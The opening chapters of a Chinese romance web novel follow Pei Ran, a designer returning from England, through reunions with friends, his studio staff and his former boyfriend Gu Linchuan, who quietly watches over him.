《前男友非要和我复合》
1. 第 1 章
夜幕低垂,天空中不知何时飘起雪花,街上行人纷纷撑起雨伞,裴然笔挺地站在街边咖啡馆前,一袭黑色大衣衬得人忧郁深沉。
裴然双手拢在嘴边呼了一口热气,搓了搓手,感受着摩擦产生的微热,感受到寒风中传来的刺骨的冷。
南城已经七年没有下过雪了,偏偏裴然回国这天下起雪,细密如鹅毛的雪花下得不算小。
没带雨伞,发丝和肩头很快便见了白。
手机铃响,裴然静静地听了一会儿来电铃声,才缓缓接听。
“然哥,坐上车了吗?”对面语气关切。
裴然抬眼看了看街道,过往车辆来去匆匆,没有一辆车有停车的迹象。
“还没有。”裴然低着头,脚尖踢着地上薄薄地一层雪,似乎想把它裹成一团。
顾辰看了眼手机,估摸着时间:“下雪路上堵车,司机估计绕了远路,你再等等。”
话音刚落,一辆低调奢华的黑车便停在裴然身前,裴然没多想,待车停稳后,拉开车门坐了上去,同时低声道:“上车了。”
顾辰点头,嗯了一声后啰嗦了几句,“嫌闷的话让司机把空气净化打开,别开窗户,风怪冷的。”
“嗯,知道了。”
“你先回去,家里暂时走不开,我哥不知道去哪里了,爸妈就逮着我一个人唠叨。”顾辰估计是借口上厕所躲起来打的电话,声音悄悄的。
裴然盯着窗外,呼吸间的热气瞬间让车窗起雾,“他们也很想你,有空多陪陪他们吧。”
顾辰冲了冲水,应道:“我知道的,到了给我打电话吧,我先挂了。”
裴然正欲再说什么,车子猛地急刹,惯性带着他撞向前面,发出沉闷的一声响。
顾辰也听见声音,急忙问:“怎么了?”
裴然揉了揉发红的额头,回道:“没事,急刹了一下。”
顾辰放心下来,挂断电话。
车子行进又恢复平稳,裴然不经意抬起头,和司机的视线撞上,竟生出一丝诡异的熟悉感。
他们是不是在哪里见过?
裴然愣神似的盯着他看,一时间都忘记了移开视线。
仿佛是感受到身后炽热的视线,司机轻咳一声,裴然才惊觉自己的失态,急忙假装玩手机。
裴然把自己窝在角落,脑袋靠在窗子上,冰冰凉凉的触感透过发丝传递到头顶,随后再换另一边。
车内暖气开的很足,弥散着淡淡的木质香调,萦绕在鼻尖,让人感到很安心。
裴然从寒气中缓过神来,不动声色地打量着眼前的司机,不怪裴然好奇,实在是这浑身的气质太凌冽,全然不像司机。
即使带着口罩,也挡不住他深邃的眉眼。
方才视线在后视镜中交汇的那一刻,裴然敏锐的感觉到对方皱了眉,额前的碎发挡住部分晦暗不清的眼眸。
视线落到他搭在方向盘上那只骨节分明的手上时,裴然微微挑眉,这双手生的太好看了。
青筋蜿蜒着没入深色大衣袖口,或许是天气冷的缘故,皮肤有一种病态的白,关节处泛着红润。
裴然大着胆子盯着看,拐弯时,他没注意,脑袋轻轻在窗上磕了一下,发出“砰”的一声,在封闭的车内很清晰,他耳根通红,随后不自然地移开视线。
裴然自我反省,倒不是他手控犯花痴,回国第一天就被一双手勾的丢了魂。
只是这么多年学艺术留下的职业病,对美的事物有一种天然的趋向性,这双手比起他在展馆见过的艺术品,竟也毫不逊色。
车开得很慢,还绕了点远路,最近下雪路滑,也在情理之中,他并不赶时间,便没有催促。
车驶过跨江大桥,周围景色熟悉起来,很快达到了目的地,裴然低声道谢,留恋地看了看那双手,这才下了车。
几乎是开门的一瞬间,冷风混着雪花往脖子里灌,裴然骤然被冷的一哆嗦,伸手将大衣领口裹紧了,抬脚欲走。
身后本应该离开的车辆还停留在原地,副驾驶的车窗降下,驾驶座的人隐在黑暗中,看不清面容。
中心商务区人口密集,身边人来人往声音嘈杂,只是车窗降下的微弱声响,并不引人注意。
但裴然却清晰地捕捉到了,应声回头,撞进那深渊一般的眸。
一瞬间,呼啸的风声和嘈杂的人声在此刻归于平静,仿佛天地间只有他们二人。
裴然胸腔传来剧烈地心跳,吵得耳膜发疼。
呼吸间产生的热气在冷空气中凝结成雾,模糊了视线,但那道目光却炙热地让人无法忽略。
“请等一下——”裴然几乎呢喃的话淹没在嘈杂人声中。
分明只有几秒,裴然却觉得过去了一辈子。
车窗又被重新摇上去,车辆丝滑起步,不出片刻便拐进弯道,消失在茫茫车海。
裴然盯着离开的方向愣神,半晌,重重呼出一口气,疲惫地揉了揉眼角,勾唇苦笑。
最终他抿了抿唇,只当是自己累的精神有些敏感,转身离开。
公寓里没开灯,窗外的月光照射进来,裴然盘着腿坐在地毯上,地上歪七扭八躺着几个空酒瓶。
裴然手里还握着一罐,一口接一口不停地往嘴里灌。
啤酒度数真低,想要喝醉好难,裴然打了一个嗝,面无表情地想着。
实际上,近年来他已经很少不节制的饮酒,毕竟宿醉后迟钝的大脑太误事。
但不知道为什么,今夜,他突然好想喝醉,醉到失去自我意识,让酒精麻痹脑神经,忘却凡尘的苦恼。
此时,远在大洋彼岸的Leo打开视频电话,裴然拿来笔记本电脑接通。
“早上好,然,回国还顺利吗?”Leo混血感英俊帅气的脸庞顿时充满整个屏幕,眼神紧紧盯着他手里的酒,嚷嚷起来,“然,你怎么又喝闷酒!”
“不喝闷酒,那干杯!”裴然举起酒罐碰了碰摄像头,将剩下的酒一饮而尽,“一切顺利,不过,国内现在已经是夜晚了。”
Leo更凑近镜头,恍然大悟:“对哦,天空都黑了。”说着,将脑袋移开,给他展示自己身后的晨光。
裴然透过窗户,看见窗外的景色,天光大亮,“今天是个好天气。”
Leo正在做早饭,于是把手机举着到处走,终于找到一个合适的位置,“然,你还会回英国吗?应该不回来了吧,毕竟英国的饭太难吃了!比如说我将要吃的这一份三明治,简直没有比它更糟糕的味道了!”
裴然看着Leo把番茄酱抹到硬得邦邦响的面包上,随后恶狠狠地咬住,再喝一口牛奶,满脸的愤恨。
“当然会,等国内稳定下来之后,我就回来看你。”裴然说着,起身把灯打开。
Leo瞪大双眼,声音都放大了几分:“那都什么时候了?”
裴然:“年后吧,我总要带着这批实习生把这个季度过完。”
“不行!”Leo三两下解决完面包,毫不在意地在自己的衣服上擦了擦手,举着手机满屋跑,应该是在找待会儿上课要用的专业书,“圣诞节我来找你,一个人过节真没意思!”
裴然被他兴奋的情绪感染,
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“那我一定准备一个很大很华丽的圣诞树迎接你。”
Leo很兴奋,已经开始幻想那一颗圣诞树,随后又想到自己过完节又要回来上课,心中又是一阵失落,“然,你为什么当初一定要回国啊,英国的工作室发展的很好,你们突然走掉,我一个人不适应。”
裴然宽慰:“好啦,只是回国了,又不是看不到了,不用这么忧虑。”
Leo已经把书包收拾好了,手里拿着一块巧克力,瞥见桌子上散落的画笔,想到什么,突然凑近,神秘兮兮地说:“然,你还记得临走前,你交给学校的那幅画吗?”
裴然点头,布莱顿艺术大学在艺术节组织了一场校园义卖,向全校师生募集艺术作品,裴然恰逢离别之际,于是也凑热闹,捐赠了一副画。
Leo已经出门,骑在自行车上,掠起一阵风,语气惊叹:“前几日,艺术节开始,有一位神秘买家花费5200英镑买下了这部作品!具体情况我不清楚,只知道是一位华人,年龄不大,应该也是留学生,不过不是我们学校的。”
这么多?饶是裴然也惊讶了一瞬,只是一个普通大学生的作品,更何况画技还略显生涩。
裴然欲言又止,不确定地问:“确定不是买错了?”
“怎么可能!”leo咋咋呼呼,说话间差点和路人撞上,“我听艺术节的志愿者说,买家在画前站了很久,最终才决定买下,一定是你的作品打动了他。”
这则消息一时间轰动了校园,大家都很好奇背后的买家是谁,校园墙上讨论度居高不下,大家猜来猜去,都没有一个准确的定论。
裴然将信将疑,他自己的油画水平并不高,只是闲暇之余的消遣罢了,他想不到什么样的人会花高价买下这幅画作。
“不会是你们凑钱买下,打算给我惊喜吧。”裴然笑了笑,还是有些不可置信。
他捐赠之后就没关注过画作的走向,没想到会被人以这样的价格买下。
“没想到,这都被你发现了。”leo故作深沉,随即大笑,“骗你的啦,如果真是就好了。”
Leo已经骑到教学楼下,看时间已经快迟到了,火急火燎地往楼上跑,慌乱间掐断了视频通话。
裴然轻笑,“毛毛躁躁的。”
夜已深了,裴然身上一股酒气,把桌子上的酒瓶收拾好丢下楼,睡前洗了个澡。
浴室里水汽氤氲,裴然洗掉一身的酒气,任由热水多冲了一会儿,脑海里冒出一个清冷高俊的背影,站定在画作前,周围人来人忙,人声嘈杂,他却岿然不动。
洗完澡后,裴然擦了擦头发,神思游离,反应过来的时候,已经拿着画纸和画笔开始作画了。
寂静的夜里,只剩下铅笔在纸上划动的声音,片刻后,脑海里的画面便跃然纸上。
裴然盯着画失神发呆,脑海里总有一种冲动,烧的他理智全无,太阳穴都发抖。
画里的人似乎动了,他缓缓转身,但仍旧看不清面容,裴然揉了揉眼睛,眼睛死死盯着,很努力想清楚是谁。
终于,裴然看清了他的脸,少年弯着一双清冷的桃花眼,右眼下那颗痣泛着光,薄唇一张一合,似乎在跟他说什么。
他居然把背影幻想成了当初他不告而别,最终分手的前男友顾临川的脸!
一瞬间,裴然倏地清醒了,抬手猛地打了自己一巴掌,力度没有收敛,脸颊瞬间泛红。
裴然面无表情,掌心却快要掐破,抓过刚才画好的画,一把撕碎扔到地上,偏过头不再看。
裴然低低地骂自己:“你也配。”
2. 第 2 章
裴然出国七年,当年在国内那批朋友几乎都失去了联系,只有零星几个从顾辰那边得知了他回国的消息,吵着闹着要出来聚一下。
裴然婉拒几次,再找不到理由,只能答应邀请。
酒吧名字叫“blue”,整体风格幽蓝深邃像在海底,驻唱歌手嗓音灵动,拿着把吉他自弹自唱。
裴然推开包间门,攀谈着地几人都朝他看过来。
一眼望去,记忆里的面孔都已褪去了青涩,熟悉又陌生,看见裴然纷纷端着酒杯上前,闹着要罚酒。
裴然来之不拒,还没开始就已经几杯烈酒下肚,他身姿笔挺,丝毫不见醉意,几人竖起大拇指,调侃他:“裴总好酒量!”
裴然坐在角落,大多时间都默然,倾听大家回忆往昔,提到和自己相关的便轻笑一声接上话茬。
席间,一人出去接了电话,回来时颇为甜蜜又无奈地同大家解释:“爱人查岗,不好意思。”
不知道是谁笑着骂了一句:“不准秀恩爱!”
待他重新坐回来后,话题自然而然被引到感情上。
周旭言环视了一圈,警惕地询问:“咱们哥几个,还都是单身狗吧?”生怕有人背叛了革命友谊。
杨晋痛心疾首:“周兄,你讲话太伤人!”
滑稽的模样把身旁的裴然逗乐,没忍住笑出声。
杨晋瞬间止住笑,侧头地看着他,欲言又止,搓搓手,还是问了:“然哥你是单身吧?”
要说这里面,谁最不可能保持单身的,当属裴然,毕竟长了一张面若桃花俊美无边的脸,读书时候不知道收了多少情书。
裴然忍着笑,“嗯,单身。”
杨晋得到答案又忍不住想,裴然身边的人都眼瞎么?转瞬又想,也许是裴然专心于事业,无心恋爱。
他俩在这边说悄悄话,再加入话题时,几人已经聊起上学时期最受欢迎的几位校花。
周旭言不知道从哪听来的八卦消息,神秘兮兮地讲:“咱班班花许清妙你们还记得吗?前段时间我偶然撞见她了,当时她在商场里选首饰,身旁还跟着一个人,你们绝对想不到是谁!”
众人最烦关键时刻卖关子,一窝蜂拥上去催促他。
“快说快说,是谁啊?”
“快点!”
周旭言吊足胃口,满意地点点头,装腔作势地咳几下:“咱学校大校草顾临川!想不到吧!”
全场骤然寂静,所有人视线不由自主地移向裴然,默契地保持沉默。
这个名字犹如一枚深海炸弹,在裴然耳边骤然爆炸,只感觉耳膜都被撕破,听不清外界的声音,裴然抬眼,众人都盯着他看。
裴然无所谓地笑笑,问大家:“都看我干什么?”
杨晋恶狠狠瞪了周旭言一眼,率先打圆场,举着酒杯晃了一圈一口闷掉,“哎呀,喝酒喝酒,别看了,再说了,咱然哥已经跟顾临川分手了,然哥又不会吃回头草,你们这么警惕干什么。”
人群里有人和稀泥:“就是,青春期谈的恋爱,谁还当真啊。”
“我都忘记高中谈的对象叫什么了,她估计也把我忘了。”
周旭言自知失言,嗫嚅着嘴,半晌走到裴然面前,跟他道歉:“对不起,然哥。”
裴然置若罔闻,低着头不知道在想些什么,身旁的杨晋关切地推了推他,他才回过神来,意识到了自己的失态,“抱歉,你刚刚说什么?”
周旭言鼓起勇气,重复了一次,杨晋也在一旁说:“然哥,他也不是故意的,他脑子笨,没想那么多。”
周旭言点头如捣蒜,欲哭无泪,差点打算给裴然跪下。
裴然拍了拍他的肩,示意他没关系,“我跟他之间,没你们想象的那么恨海情天,少看点偶像剧。”
说完,转头同杨晋招呼一声,说里面太闷,出去透口气。
临走前,他听见周旭言紧张地问杨晋,然哥他不会真生我气吧,我也是没办法啊?
杨晋沉默着没说话,看着裴然的背影消失在门口,皱着眉说自己也不知道。
裴然闷得难受,捧起一捧冷水,粗暴地泼在脸上,几滴水珠泫然未滴,挂在睫毛上,裴然重重吐出一口浊气,胸口莫名的烦闷总算消解了一点。
他想起周旭言问的那句话,他生气吗?
他不觉得自己的情绪是愤怒,但同时,他也不明白这股郁结从何而来。
愧疚,心虚,难过还是单纯的占有欲作祟。
诚然如他所言,当年是他一走了之,兀自切断了所有的联系。
没有充满眼泪的离别,也没有依依不舍地挽留,只有无法拨通的电话和永不回复的短信。
裴然站在洗手台前,冷漠地看着镜子中的自己,面色惨白,眼底进水变得通红,眉眼低低压着,很凶很阴沉,一脸不讨喜的模样。
他掏出手机给杨晋发消息打算提前离开,肩膀却猛地被人一撞,手机脱手砸在地上,发出碎裂的声响。
裴然本就不妙的心情更是雪上加霜,不耐地啧了一声,眉心皱的很紧,抬起头。
“走路不看路吗……”
尾音骤然被掐断,看清来人的一瞬间,裴然僵在原地,瞳孔微缩,连呼吸都忘记了。
男人还是记忆里的模样,剑眉星目,眼窝深邃衬得眼眸愈发沉亮,鼻梁高挺笔直,下颌线锋利利落。
“抱歉。”男人薄唇轻启,语气轻慢高傲,不见半分歉意,从钱夹里掏出一张卡,放到一边的洗手台上,“赔给你。”
裴然赶紧蹲下去把手机捡起来,手发着抖,哆哆嗦嗦半天才捡起来,屏幕已经摔坏了,不过还能正常打开。
裴然把卡递回去,舔了舔嘴唇,没了方才的凌厉,“不用了,是我不小心。”
顾临川洗着手,接了点洗手液,一根一根慢慢摩搓,洗得很干净,像是没有听见他的话。
洗完后,顾临川拿出手帕擦了擦,微微挺直腰板,眯着眼打量裴然。
裴然见他站在自己身前,呼吸紊乱,心跳也错了拍,张了张嘴,想跟他说些什么,“你……”过得还好吗?
谁料,顾临川皱着眉,往后撤了一步,看着他的眼神陌生又冷漠,毫不留情打断他的话,“借过一下。”
说完,绕过裴然径直离开,留下裴然独自一人在原地发愣。
洗手间人来人往,皆眼神怪异地盯着这位肃然不动的人,半晌,裴然缓过来,抬脚想追上去,猛地被脚下的东西绊倒。
是顾
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临川的钱夹。
裴然小心翼翼地把它捡起来,擦了擦上面的水渍,拢在掌心,闷着脑袋又回了包间。
他们一群人在玩国王游戏,好不热闹。
杨晋见他回来,一副魂不守舍的模样,走着几步路都仿佛要昏过去的样子,赶紧上前拉着他,“哎哟哥,你这是跑哪去了?这么久不回来,我还以为你偷偷溜走了。”
“上了个厕所。”
“什么厕所这么久?该不会是躲……”
杨晋不说话了,他眼睁睁看着裴然走过去把几瓶高度伏特加酒全开了,拿起一瓶对瓶吹。
他根本拦不住,还没反应过来,裴然已经半瓶下肚。
杨晋赶紧拉着他的手,这样喝下去,今天晚上非得进医院不可!
裴然脾气上来了,非要喝,这一瓶不行就喝下一瓶,甚至神智清醒,“我心里有数,你不用担心我。”
你有数个屁!杨晋在心里骂道,拦不住他,偷偷把剩下几瓶藏起来,又拿了个杯子出来从他哪里倒,“行,知道你心里不痛快,哥们陪你喝。”
说着,趁他不注意,将杯子里酒全洒地上了,假装全喝完了,作势又要从裴然手里抢,“给兄弟满上!”
裴然见他也是一脸的悲痛,喝酒如喝水,不解:“你喝这么多酒干什么?”
杨晋一时语塞,自顾自地从他手里抢酒,“我就想喝,不行啊?”
到最后,演变成了杨晋一边豪迈地往地上撒酒,裴然在一边心疼的拍了拍他的背,醉醺醺劝他别再喝了。
周旭言在一旁看得目瞪口呆。
杨晋赶紧冲他使眼神,周旭言回过神来,上前拉开裴然,掏出手机问他:“然哥你醉了,我给你叫个代驾吧,你家在哪?”
裴然站得笔直,只是眼神不甚清明,才显出几分醉意。
裴然说了地点之后,两人一人抗一边,将裴然送到门口。
快走到门口时,杨晋眼尖,远远就瞧见酒吧门口停了一辆车,搂着裴然抬脚往那边走。
出了酒吧门,杨晋肩上突然一沉,疑惑着转头一看,周旭文松了手,摸着鼻尖十分不自然。
杨晋没看懂,颠了一下防止裴然掉下去,“你干什么?”
“我手酸,你先扶着一下。”周旭文解释。
杨晋觉得他今天晚上莫名其妙,又蠢又笨,也懒得管他,拉开车门把他送进去。
安顿好裴然,又敲了敲车窗,打算嘱咐一下司机开慢点,路上小心。
谁料,车窗降下,露出顾临川面无表情的俊脸,“有事?”
杨晋吓得一哆嗦,“顾顾顾……”
转头惊恐地看着趴在后座的裴然,赶紧扒着车门,打算把他带走:“不好意思,上错车了。”
车门纹丝不动,顾临川冷着一张脸,似笑非笑。
身后的周旭文上前拉着他往后拽,忙道:“没错没错,顾总您慢走。”
顾临川下颌微抬,关上车窗,扬长而去。
留下杨晋一人在原地风中凌乱。
“这是什么意思?给我个解释!”杨晋语瞪着双眼,简直不敢相信自己看到的一切。
周旭言不欲多说,扯着他往里面走,“天机不可泄露。”
3. 第 3 章
裴然喝醉了酒身子软趴趴的,但酒品尚佳,规规矩矩地趴在后座,胃里翻涌着难受,裴然小声的哼哼唧唧。
顾临川冷不丁开口:“别吐车里。”
裴然赶紧捂着嘴,摇头,表示自己不会吐的。
顾临川嘴角勾起一抹不可察觉的笑,转瞬即逝。
顾临川带他来了酒店,开了一间房后,在前台小姐姐八卦的目光中把他带进去。
顾临川冷声:“抬手。”
裴然乖乖地任由他折腾,把手抬起来。
顾临川给他把衣服脱了,又给他擦了脸。
期间裴然闹着要去洗澡,顾临川按住他,眼底是一片难以言喻的复杂:“还想让我给你洗澡?”
许是顾临川声音沉,裴然觉得自己被吼了,不敢再闹,低着眉,眼睫毛扑朔着像两只蝴蝶。
收拾好后,顾临川将他丢到床上,准备离开。
裴然倒在床上,呼吸绵长,倒也没有睡,茫茫然睁着眼看着前面。
顾临川把外套搭在臂弯,倚靠在门框处,好整以暇地盯着他。
裴然突然抓着外套,翻翻找找,从兜里拿出一个钱夹,伸手抚了抚,神情变得有些哀伤。
顾临川脸色骤变,太阳穴突突直跳,冷哼一声,转身离开。
天光乍亮,晨光透过浅色纱窗洒进房间,落在裴然眼上。
裴然宿醉醒来,脑袋又昏又沉,身上一股酒气,裴然扶额,揉了揉,坐起身。
身上也像是被人揍了一顿,酸痛难忍,从头到脚,没有哪一处是舒服的。
裴然懊恼,深感醉酒误事,环顾四周,才发现自己不在家里。
想起昨晚是被杨晋扶出来的,又看了看周围,感慨杨晋的贴心。
眼见着时间不多,裴然赶紧起来,起身去浴室里洗澡,总算把周身不适的酒气洗掉。
裴然紧赶慢赶,总算按时到了工作室,裴然微微喘气,一身的寒气,等电梯的间隙理了理凌乱的头发。
工作室在裴然大学时期便初具雏形,和几位志同道合的朋友创立了这个服装设计品牌,没借着顾家的势力,起步发展全凭裴然几人费心,没想到一路发展至今竟还有几分像模像样。
裴然穿过忙碌的人群,和大家一一打过招呼,便回了办公室。
办公室是按照裴然的喜好布置的,办公桌上放着一盆小的发财树,裴然从前不信鬼神,出国后见过教堂里虔诚的信徒,此后桌上便多了一盆寓意财源广进的发财树。
倒也摆过财神爷,只是与办公室整体风格实在不搭,这才收起。
室内开着暖气,暖和起来后整个人才感觉到是真的活着,裴然将大衣脱下,做到电脑前开始处理工作。
庭婷抬手轻叩敞开的办公室门,得到许可后踩着高跟鞋走进办公室,将手中的文件递过去,熟练地在一旁的小沙发坐下。
“然哥,这个季度设计企划几位实习生都完成了,我粗略看了一下,挑了几份给你过目,宴小姐定制的礼服打版出来了,对方对面料不算满意,那边余哥让我来问问你的想法。”
裴然打开文件浏览,每一份都看仔细,给出自己的看法:“设计没有新意,色彩太死板了,完全按照设计主题来,没有自己的理解,设计会显得很呆,让他们下去了解一下主题背景,设计不用大改……”
庭婷勾唇笑出声,手里随意地玩着自己红色的大波浪长发:“然哥,你知不知道,现在那群大学生都很怕你?”
“什么?”
“说你眼光太高,就是神仙来也过不了你的眼。”庭婷把自己逗笑了,顺嘴安慰他,“咱是高标准高要求,严以待人。”
裴然不置可否,只是将不合格的选出来,分类整理好后递给庭婷,“服设以森林为主题,选料以环保绿色为主,可以从天然纤维的混合制品方面入手……”
庭婷认真听着,记在心里,姿态却慵懒放松,伸手在零食盘里找出话梅糖,撕开糖纸后塞进嘴里,顺便把另一个柠檬糖以完美的抛物线扔到裴然手边。
裴然聊起工作口若悬河,神情严肃,衬衫扣子一丝不苟地系着,办公室的暖光灯均匀地洒在头顶和肩膀,给人镀上一层神圣的光。
其实庭婷刚刚有句话说的不算准确,工作室新来的实习生中,惧怕裴然的固然不少,但还是有那么多人前赴后继地进入这所名不见经传的工作室。
归根结底还是这张脸太权威。
哪怕是审美不同的海外国家,也对这张脸没有抵抗力,初到英国的那一年,裴然身边没人,不知道拒绝过多少男男女女。
裴然拒绝的干脆利落,但也温柔礼貌,让人无法生出怨气。
盯着看了半晌,庭婷才收回目光,轻叹一声,在心底怒斥女娲的不公。
听到叹息声,裴然还当她是累了,便将剩下的的工作简明扼要地阐述,并贴心地为她们延长了截止时间。
延长的几个小时聊胜于无,庭婷根本没在意,嘎嘣一声将话梅糖咬碎,酸得人皱眉,起身接过文件准备离开。
“哦对了。”庭婷刚走出去,想到这件事,身子微微后仰,只露出肩膀和半个脑袋,“顾辰在悦湾那边订了个度假村,问你什么时候给大家放个假,去那边度假。”
裴然思索一番,前段时间忙着工作室搬迁的事情,都很累,趁此机会给大伙放松一下正好。
心理思忖着工作量,思索后定了一个时间。
“收到!”庭婷高兴地跳起来,比了一个ok的手势,迫不及待地跑去给大家分享这个好消息,“我去通知大家!”
很快,办公室外便传来一阵欢呼声,大家围在一起叽叽喳喳地讨论。
裴然透过百叶窗看着,低头轻笑一声。
气氛被带动,长时间工作带来的疲惫感被短暂的扫清,盯着看了会儿,这才继续处理工作了。
办公室外,众人听到是顾辰安排的团建,心照不宣地对视一眼后,开启了八卦模式。
“你们说,这个小顾总对我们老大这么上心,能有戏吗?”章谈亦是裴然大学同学,算是一路看着顾辰和裴然过来的。
顾辰倒是一如既往地体贴热情,细致入微,但是这么多年也没见裴然表现出半分超过兄弟之外的情感。
Rechal捂着嘴巴笑,打断章谈亦的话:“当然有戏!你也不看看,咱老大身边还有哪个这么亲近的人,老大平时除了工作就是学习,也就只有小顾总能走进他的心里。”
Rechal是中英混血,读书时期曾热烈地追求过裴然,不过自从见识过顾辰和裴然的相处模式之后便停歇了心思,迅速转变了心思,认认真真撮合二人。
众人七嘴八舌地议论着,庭婷挤在人堆里,神情浮夸地附和着,但其实只有她明白,裴然并非木讷无趣的工作狂,小顾总也没能走进他的心。
而那个曾经走进裴然心底的人,被裴然亲手一点一寸的挖了出来。
视线越过众人,庭婷看向那间紧闭的办公室门,内心涌起一丝酸涩,不可抑制。
随后又被大家喧闹的欢笑打断,她扯出一抹笑,加入大家。
得到了团建休假的事情,大家也没了加班的心思,裴然干脆大手一挥让大家下班回去早点休息。
又是一阵欢呼,
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几个胆子大的蹦到办公桌上乱舞,成堆的资料瞬间洒落一地,不过没人理会,只是一味地狂欢。
场面像花果山水帘洞,乱糟糟闹哄哄的。
裴然怕他们不自在,悄然无声地退回办公室。
办公室隔音效果很好,门关上的一瞬间外面的喧闹都被隔绝。员工陆陆续续地下了班,偌大的工作室便只剩下他一人。
不知道过了多久,裴然从电脑桌前抬起头,电子时钟显示已经是凌晨,胃部因饥饿产生几分痛感,裴然才发觉自己忘记吃晚饭了。
这个时间点裴然也没有想吃东西的欲望,打算去茶水间倒一杯热水缓解胃部的不适。
刚推开办公室门,裴然便感受到一阵阻力,低头一看,地上躺着一个牛皮纸袋,模样很精致,上面还贴着一张粉色便签纸。
“吃饭。”
文字是打印上去的,裴然没办法通过笔记判断这是谁,粉色便签倒是庭婷平时喜欢用的。
牛皮纸袋里是一杯热牛奶和一份还冒着热气的海鲜粥。
裴然轻笑一声,感慨庭婷的贴心,将便签留下,仔细地拆开包装,拿回办公室。
热牛奶下肚瞬间胃部舒服好些,裴然有些惊喜地看着牛奶,竟然不是纯牛奶,而是甜牛奶。
入口的滋味少了几分腥味,多了几分香甜。
裴然心底升起几分疑虑,嫌弃纯牛奶腥这样小孩子气的行为,裴然从未表现出来过,至少庭婷不知道。
思绪纷然,裴然想了许久也想不出所以然,只当是巧合一场。
办公室里有小的会客区,再往里面走有一个小休息室,依旧是简约的黑白灰配色,一张单人床和一盏落地灯,样板间的风格衬得此刻有些孤寂。
没来由的,裴然回想起往事,又把钱夹拿出来愣神地看着,零星几点睡意也彻底消散。
裴然若有所思地望向窗外,单薄的身影淹没在昏黄的灯光中,眼底倒映着城市霓虹,格外透亮。
手机在此刻亮起,裴然循声望去,是一条短信。
陌生号码发来的一张照片。
照片里,裴然挺立在风雪中,发丝和围巾都被吹的有些凌乱,背景是他等车的街道,他对那家咖啡馆有印象。
裴然微微皱起眉,心底一沉,不明白对方的意图。
下一秒,对方又发来一条信息,只有简短的两个字。
睡觉。
裴然心底某根弦像是被骤然拨动,迅速起身,连鞋也来不及穿,跨步到落地窗前。
大厦窗外繁华,写字楼内灯火通明,楼下行人步履匆匆。往下望去,众人渺小如蝼蚁,车辆川流不息,陆续走过的人群也并不可疑。
裴然按了按眉心,失笑,最近真是压力太大了,怎么还当了真,被这种骚扰短信扰了心神。
裴然重新回到床上,把号码信息发给远在大洋彼岸的Leo,拜托他帮忙调查,随后将手机关机,不再理会,重新酝酿睡意。
许是那条短信有奇效,裴然重新躺上床时竟真的有了几丝困意,片刻便睡去了。
在他看不见的楼下,一辆黑色卡宴停在视线死角,后座的男人漫不经心地把玩着手里的手机,指节分明。
窗外的霓虹灯在他脸上投下明灭分明的光影,勾勒出高挺的鼻梁和紧抿的薄唇。
他微微垂着眼,目光落在大厦高层,眼眸深邃而平静。
半晌,看见大厦32层陷入黑暗,唇角几不可闻地勾起,像是很满意,而后又紧绷起来,轻咳一声。
“走吧。”
蛰伏在黑夜中的卡宴利落起步,隐入车流,仿佛从未出现。
4. 第 4 章
接下来几天,裴然带着几位实习生修改初稿,另一边忙着选材的事情,忙得昏天黑地。
他心里藏着事情,不想让自己有空闲的时间,只好闷着头发疯般的工作。
等忙完,裴然才让自己慢下来,喘了口气,庭婷进来递资料时扭捏着问他,明天几时去。
裴然一愣,反应过来看了眼时间,看她这么期待,轻笑一声:“明天早上。”
庭婷欢呼:“好耶。”
第二天清晨,天雾蒙蒙的,众人在楼下集合,顾辰贴心地派了车接送大家,自己则是开了一辆低调奢华的宾利来接裴然。
顾辰今日特意打扮了一下,从驾驶座上下来时引起一阵惊呼,rechal率先调侃:“辰!你今天真像一位白马王子!”
闻言,顾辰勾唇一笑,上前绅士地行了一个吻手礼,回应她直白热烈地夸赞,随后站在裴然身边,轻轻撞了一下他的肩膀。
求夸奖的意味不言而喻,顾辰若是一只小狗,此刻身后的尾巴已经摇的飞起了。
裴然看着眼前人,这几年顾辰越长越高,竟需要他微微仰头才能看清他的眉眼,顾辰恣意的少年气惹得裴然不自觉勾唇。
裴然眼底含着笑,“王子殿下,何时出发?”
“即刻出发!”
人群中不知道是谁欢呼一声,便吵吵闹闹地分组上了车。
顾辰替裴然拉开车门,另一只手搁在裴然头顶,担心车框撞到他,关车门前在他耳边低声说了句什么,随后两人对视一眼,唇角漾开一抹笑。
这一幕被rechal一行人撞见,立刻又激动的眼冒星星,趴在车窗上偷看,恨不得站在他们面前正大光明地看。
道路湿滑,前半段路,顾辰开车专注认真,每一个动作都可以直接作为驾校模板,只有在等红绿灯时才侧头同裴然讲话。
裴然看得想笑,顾辰在国外开车不讲章法,超速漂移都是家常便饭。
又一个红绿灯,顾辰轻锤方向盘,笑着咒骂:“开的又慢又稳,一点都不爽!”
“至少我不用胆战心惊了,挺好的。”裴然淡定的喝了一口水,挑眉戏谑。
顾辰嘿嘿一笑,想起什么,问他:“怎么不去我给你安排好的住处,不喜欢吗?”
顾辰一早安排好的临江大平层,地段好,交通便利,环境清幽,装修和室内设计完全是按照裴然的喜好去做的,耗了不少心神,被裴然拒绝,此刻问起也没有半分不悦,语气尽是关切。
如果此刻裴然说了半分不好,他就立刻派人去重新弄,一直弄到裴然喜欢为止。
裴然摇头:“没有不喜欢,工作室这边更方便。”
像裴然这种工作狂,一睁眼就能开启工作的住处简直不要太合适,更何况裴然孑然一人,房子太大了显得空荡荡的,没几分生气。
“嗯,听你的。”顾辰小事一向依着他,便也点点头,“什么时候想搬了,知会我一声就行。”
“会的。”
像是突然想到什么,顾辰斟酌着用词,开口:“上周我回家吃了顿饭,哥好像不知道你回国了,你没有告诉他吗?”
话音刚落,顾辰便生出几分悔意,余光顾虑着裴然的脸色。
裴然呼吸一顿,面上看不出情绪,语气也如常:“等稳定下来再告知大家吧,还不着急。”
是大家,不是他。
裴然对他哥顾临川逃避的意味太明显,顾辰下意识地皱了眉。
两个人之间似乎陷入了一种尴尬的环境,空气都有些凝固。
“听说,哥要和宋小姐联姻了,他们二人挑了个时间聚一聚。”顾辰语气轻松,像是在聊家常,“和我一起去,好吗?”
“我出国太久了,和圈子里的人早就生疏了,就不去凑这个热闹了。”裴然偏过头,看向窗外。
藏在袖子下的手紧紧握住,怎么全世界都在告诉他,顾临川要彻底和他没有瓜葛了。
“聚一聚就熟了,不是要在国内定下来吗?总要和大家走动的。”顾辰单手开车,转弯时把方向盘打到底,“听歌吗?会不会有点闷。”
裴然把视线从窗外收回,盯着显示屏看,没有说好也没有说不好,顾辰骨节分明的手指在杂乱的歌单中挑选着。
“然哥,我说错话了。”顾辰手指变得有些僵硬,不知所措,“惹你不高兴了吗?”
“就这首吧。”
指尖悬停,最终选择了名叫free的歌单。
